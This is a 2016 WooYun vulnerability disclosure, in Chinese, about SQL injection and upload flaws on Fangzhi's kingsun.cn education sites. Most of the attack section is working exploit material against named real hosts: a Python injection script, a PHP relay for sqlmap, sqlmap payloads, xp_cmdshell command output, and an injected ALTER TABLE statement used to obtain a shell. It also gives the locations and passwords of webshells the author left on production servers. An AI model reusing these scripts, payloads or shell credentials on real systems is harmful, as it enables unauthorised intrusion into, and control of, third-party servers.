当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0171245

漏洞标题:方直从注入到Getshell以及另一处Getshell

相关厂商:fzjty.com

漏洞作者: Msyb

提交时间:2016-01-20 10:40

修复时间:2016-03-05 09:52

公开时间:2016-03-05 09:52

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-20: 细节已通知厂商并且等待厂商处理中
2016-01-20: 厂商已经确认,细节仅向厂商公开
2016-01-30: 细节向核心白帽子及相关领域专家公开
2016-02-09: 细节向普通白帽子公开
2016-02-19: 细节向实习白帽子公开
2016-03-05: 细节向公众公开

简要描述:

不好意思还是把shell拿了^ o ^
第一个因参数处理不当导致注入,数据库账户权限过高导致getshell
第二个getshell是配置不当

详细说明:

先看第一个
由我以前提交的 WooYun: 方直某设计缺陷导致未受权访问+getshell
可知方直的许多站的后台是可以直接访问并操作而无需验证的。you.kingsun.cn的那个上传漏洞因upfile目录禁止脚本执行而失效。但是还有一个站study.kingsun.cn方直的那位"轮回"你忘记配置了......
上传地址,有个本地js验证可无视

http://study.kingsunsoft.com/fzsyncadmin/VersionManage/AddVersionManage.aspx?ID=0


kk.png


上传后查看源代码即可知道路径

2.png


webshell管理截图,这图像编辑软件好烂。
然后是另一个getshell
先是爆破二级域名找到了sms.kingsun.cn,同样未授权访问

3.png


凭直觉找到了一个接口的sql注入

44.png


sss.png


附python验证脚本(有两个文件)

#!/usr/bin/env python
#encoding: utf-8
#自从学了点python,腰不酸了,腿不疼了,X站时浑身来劲!
import urllib,httplib
url = '/Handler.ashx'
host = 'sms.kingsun.cn'
f = open('post.txt','r')
post = f.read()
headers = {"Content-Type":"application/x-www-form-urlencoded","Connection":"Keep-Alive","Referer":"http://192.168.1.212/newsadd.asp?action=newnew"};
#插入注入语句,循环注入
sqli = 'and 1=(select name from master.dbo.sysdatabases where dbid={0})'
_ = post.find('*')
i = 1
while(1):
param = post[:_] + sqli.format(i) + post[_+1:]
param = urllib.urlencode({'form':param})
conn = httplib.HTTPConnection(host,timeout=3)
conn.request(method='POST',url=url,body=param,headers=headers)
r = conn.getresponse()
res = r.read()
conn.close()
if(res.find('\\') == -1):
break
print res[res.find('\\')+6:res.rfind('\\')] #报错注入结果被\u0027包着的
i += 1

f.close()


post.txt

{"RID":"484904CB-1BE0-CCB5-5FA7-4892D04D7F1D","SKEY":"PortImplement","Pack":"{\"ID\":\"484904CB-1BE0-CCB5-5FA7-4892D04D7F1D\",\"Function\":\"QueryResource\",\"Data\":\"{\\\"PageIndex\\\":1,\\\"PageSize\\\":20,\\\"Where\\\":\\\"%') * --\\\"}\"}","Ticket":""}


结果:

QQ截图20160119224733.png


但还是太麻烦了,所以最后还是用php(需curl扩展)写了个中转脚本上神器sqlmap

post.txt同上
<?php
$uri = "http://sms.kingsun.cn/Handler.ashx";
$post = file_get_contents('post.txt');
$sqli = $_POST[0];
$post = substr_replace($post,$sqli,231,1);
$data = array('form' => $post);
$ch = curl_init ();
curl_setopt ( $ch, CURLOPT_URL, $uri );
curl_setopt ( $ch, CURLOPT_POST, 1 );
curl_setopt ( $ch, CURLOPT_HEADER, 0 );
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
$return = curl_exec ( $ch );
curl_close ( $ch );
print_r($return);
?>


结果:

sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: 0 (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: 0=and 1=1 AND 5636=5636
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: 0=and 1=1 AND 1164=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(112)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (1164=1164) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(120)+CHAR(113)))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: 0=and 1=1;WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: 0=and 1=1 WAITFOR DELAY '0:0:5'
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: 0=and 1=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(122)+CHAR(112)+CHAR(107)+CHAR(113)+CHAR(106)+CHAR(71)+CHAR(84)+CHAR(78)+CHAR(99)+CHAR(106)+CHAR(108)+CHAR(109)+CHAR(72)+CHAR(79)+CHAR(98)+CHAR(85)+CHAR(115)+CHAR(112)+CHAR(109)+CHAR(74)+CHAR(73)+CHAR(120)+CHAR(68)+CHAR(119)+CHAR(66)+CHAR(113)+CHAR(85)+CHAR(82)+CHAR(110)+CHAR(100)+CHAR(70)+CHAR(73)+CHAR(105)+CHAR(108)+CHAR(88)+CHAR(84)+CHAR(90)+CHAR(89)+CHAR(101)+CHAR(120)+CHAR(121)+CHAR(80)+CHAR(78)+CHAR(74)+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(120)+CHAR(113)-- -
---
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.12, PHP 5.6.11
back-end DBMS: Microsoft SQL Server 2008


然后通过这个注入点调用xp_cmdshell执行命令,发现貌似是站库分离,D盘全是数据库,E盘是备份。

command standard output:
---
驱动器 D 中的卷是 DATA
卷的序列号是 74B1-1200

D:\\ 的目录

2015/07/27 21:10 \u003cDIR\u003e $RECYCLE.BIN
2016/01/08 17:04 37,985,792 1.bak
2016/01/08 17:05 6,159,267 1.rar
2015/11/05 11:35 \u003cDIR\u003e db
2015/07/27 21:26 \u003cDIR\u003e System Volume Information
2 个文件 44,145,059 字节
3 个目录 1,051,353,739,264 可用字节

驱动器 D 中的卷是 DATA
卷的序列号是 74B1-1200

D:\\ 的目录

2015/07/27 21:10 \u003cDIR\u003e $RECYCLE.BIN
2016/01/08 17:04 37,985,792 1.bak


这时我又想起了这个奖品管理

aaa.jpg


这里的图片上传经测试时可以上传任意文件的,但是因为数据库里保存图片路径的字段刚好只够

/Image/Produce/12ed1c68e12f49638c4c62319c52e933.png


这么长,于是上传aspx会报错

k2.png


又不能执行asp,当时果断放弃了
但是我们有了同一台服务器(因为上面的getshell连接mssql没看到这个站的数据库)的一个注入,而且权限足够。
所以现在只要把字段长度改长一点就可以getshell了(为了审核复现我又改回来了)。
先用sqlmap跑库跑表,最后确认需要更改的是FZStudyAssistant里的Dh_ProduceManger表的ProduceImage字段。
手工注入如下语句

0=and 1=1;alter table FZStudyAssistant.dbo.Dh_ProduceManger alter column ProduceImage nvarchar(60)-- -


zhuru.png


再上传即可getshell
地址http://you.kingsun.cn/FzSyncAdmin/ExchangeProduce/Image/Produce/1fae209dd6794876b6ac9b0617a8d84d.aspx
密码0

漏洞证明:

zh.png


QQ截图20160119224733.png


2.png


还有个大马: www.kingsun.cn/a/qwe.aspx admin

修复方案:

补注入,自行删shell(我不记得我上传多少个了),参考你们以前的处理。

版权声明:转载请注明来源 Msyb@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-20 14:15

厂商回复:

谢谢

最新状态:

暂无